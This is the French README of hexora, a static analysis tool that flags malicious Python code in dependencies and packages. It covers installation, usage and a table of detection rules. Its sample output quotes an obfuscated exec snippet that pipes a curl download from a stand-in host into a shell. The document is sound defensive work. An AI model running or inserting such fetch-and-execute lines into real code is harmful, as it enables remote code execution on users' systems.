rushter/hexoraAnalyse statique de code Python malveillant
# hexora
[](https://pypi.org/project/hexora)
Hexora est un outil d'analyse statique conçu pour détecter les motifs malveillants et nuisibles dans le code Python.
Il combine un moteur d'analyse statique basé sur des règles avec un modèle d'apprentissage automatique qui évalue l'ensemble des fichiers sources pour les classer comme malveillants ou bénins.
Il peut être utilisé pour :
- Auditer les dépendances d'un projet pour détecter d'éventuelles attaques sur la chaîne d'approvisionnement
- Détecter des scripts malveillants trouvés sur des plateformes comme Pastebin, GitHub ou des répertoires ouverts
- Analyser des fichiers IoC provenant d'incidents de sécurité passés
- Auditer les nouveaux paquets téléchargés sur PyPi.
<img width="600" alt="Exemple Hexora" src="https://assets.kitploit.com/production/public/readmes/7173/623808db8ae0b09b6a88493bd7a336e555226a07302a80af4543c2385a1c300c.gif">
# Exemples
Pour des exemples de sortie, veuillez consulter le fichier [docs/examples.md](https://github.com/rushter/hexora/blob/main/docs/examples.md).
# Installation
## Avec Python
Nécessite Python 3.9+.
```bash
pip install hexora
```
Avec uv :
```bash
uv tool install hexora
```
# Utilisation
```bash
hexora --help
```
## Auditer un seul fichier
```bash
> hexora audit test.py
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
┌─ resources/test/test.py:3:8
│
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
│ ^^^^^^^^^^^^^^^^^ HX2000
│
= Confidence: High
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
Machine learning based score for file: 0.93
warning[HX3000]: Possible execution of unwanted code
┌─ resources/test/test.py:20:1
│
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
│
```
## Auditer un répertoire
```bash
hexora audit --output-format terminal resources/test/
```
## Auditer des paquets depuis l'environnement virtuel
```bash
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
```
Où `python3.11` est la version de Python dans l'environnement virtuel.
Conseils :
- Utilisez `--exclude` pour supprimer certains codes de règle (par exemple, les importations bruyantes) pour une exécution donnée
- Utilisez `--min-confidence` pour vous concentrer uniquement sur les résultats à haute confiance.
La confiance indique à quel point un certain morceau de code est malveillant.
Certaines bibliothèques ou extraits de code sont utilisés à des fins légitimes, et il est difficile de distinguer les cas d'utilisation légitimes des cas malveillants.
C'est pourquoi certaines correspondances ont un faible niveau de confiance.
Certaines règles peuvent avoir différents niveaux de confiance. Évitez de filtrer beaucoup de règles par codes sauf si vous êtes très confiant. Par exemple, l'exécution de code et de shell peut avoir une confiance moyenne, élevée et très élevée. Cela dépend de la façon dont le code a été exécuté. Si nous détectons une tentative d'obscurcissement, nous élevons la confiance.
Par exemple, ce code aura une confiance élevée :
```
globals()["__builtins__"].eval("print(123)")
```
## Utilisation en Python
```python
>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
'description': 'pyperclip can be used to copy and paste data from '
'the clipboard.',
'label': 'pyperclip',
'location': (7, 16),
'rule': 'HX5010'},
{'confidence': 'high',
'description': 'Reading from the clipboard can be used to '
'exfiltrate sensitive data.',
'label': 'pyperclip.paste',
'location': (25, 42),
'rule': 'HX2000'}],
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...
```
## Test sur un ensemble de données malveillantes
Lors du développement de nouvelles règles, vous pouvez utiliser des ensembles de données malveillants existants comme [malicious-software-packages-dataset](https://github.com/DataDog/malicious-software-packages-dataset).
Après avoir cloné, pointez l'outil d'analyse comparative vers le répertoire de l'ensemble de données :
```bash
cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt --min-confidence high
```
## Règles disponibles
De nouvelles règles sont ajoutées régulièrement.
Actuellement, les règles suivantes sont disponibles :
| Code | Nom | Description |
|---|---|---|
| HX1000 | AppEnumeration | Énumération suspecte d'applications. |
| HX1010 | BrowserEnumeration | Énumération suspecte de navigateur (applications, cookies, historique, etc.). |
| HX1020 | PathEnumeration | Énumération suspecte de chemins. |
| HX1030 | OSFingerprint | Empreinte suspecte du système d'exploitation. |
| HX2000 | ClipboardRead | Lecture du presse-papiers. |
| HX2010 | EnvAccess | Accès à une variable d'environnement sensible. |
| HX2020 | ScreenshotCapture | Capture d'écran de l'affichage. |
| HX3000 | CodeExec | Exécution possible de code. |
| HX3010 | ShellExec | Exécution d'une commande shell. |
| HX3040 | DLLInjection | Injection DLL possible. |
| HX3050 | DangerousExec | Exécution d'une commande potentiellement dangereuse à l'intérieur d'une commande shell. |
| HX3060 | SuspiciousCall | Appel de fonction suspect. |
| HX4000 | ObfuscatedShellExec | Exécution d'une commande shell possiblement obscurcie. |
| HX4010 | ObfuscatedCodeExec | Exécution de code possiblement obscurci. |
| HX5000 | DunderImport | Utilisation suspecte de `__import__`. |
| HX5010 | SuspiciousImport | Import suspect. |
| HX5020 | CtypesImport | Import ctypes suspect. |
| HX5030 | PickleImport | Import pickle suspect. |
| HX5040 | StructImport | Import struct suspect. |
| HX5050 | SocketImport | Import socket suspect. |
| HX5060 | MarshalImport | Import marshal suspect. |
| HX6000 | Base64String | Chaîne longue encodée en Base64 détectée ; possible obscurcissement de code. |
| HX6010 | HexedLiterals | Liste de littéraux encodés en hexadécimal détectée ; possible charge utile. |
| HX6020 | HexedString | Chaîne longue encodée en hexadécimal détectée ; possible charge utile. |
| HX6030 | IntLiterals | Grande liste de littéraux entiers détectée ; possible obscurcissement de code. |
| HX6040 | CVEInLiteral | Le littéral contient un identifiant CVE. |
| HX6050 | SuspiciousLiteral | Littéral suspect détecté ; possible énumération de données. |
| HX6060 | PathTraversal | Traversée de chemin suspecte. |
| HX6070 | BrowserExtension | Énumération d'extensions de navigateur sensibles. |
| HX6080 | WebHook | WebHook suspect détecté. Possible exfiltration de données. |
| HX6090 | TelegramToken | Token de bot Telegram détecté dans un littéral de chaîne. |
| HX7000 | SuspiciousFunctionName | Nom de fonction suspect. |
| HX7010 | SuspiciousParameterName | Nom de paramètre suspect. |
| HX7020 | SuspiciousVariable | Nom de variable suspect. |
| HX9000 | DataExfiltration | Exfiltration potentielle de données. |
| HX8000 | BinaryDownload | Téléchargement binaire suspect. |
| HX8010 | BuiltinsVariable | Utilisation suspecte de variable intégrée. |
| HX8020 | SuspiciousComment | Commentaire suspect. |
| HX8030 | SuspiciousWrite | Écriture suspecte sur le système de fichiers. |
| HX8040 | InstallHook | Configuration suspecte de hook d'installation. |
## Crédits
Pour l'analyse syntaxique, nous utilisons l'analyseur AST de la bibliothèque [ruff](https://github.com/astral-sh/ruff/tree/main).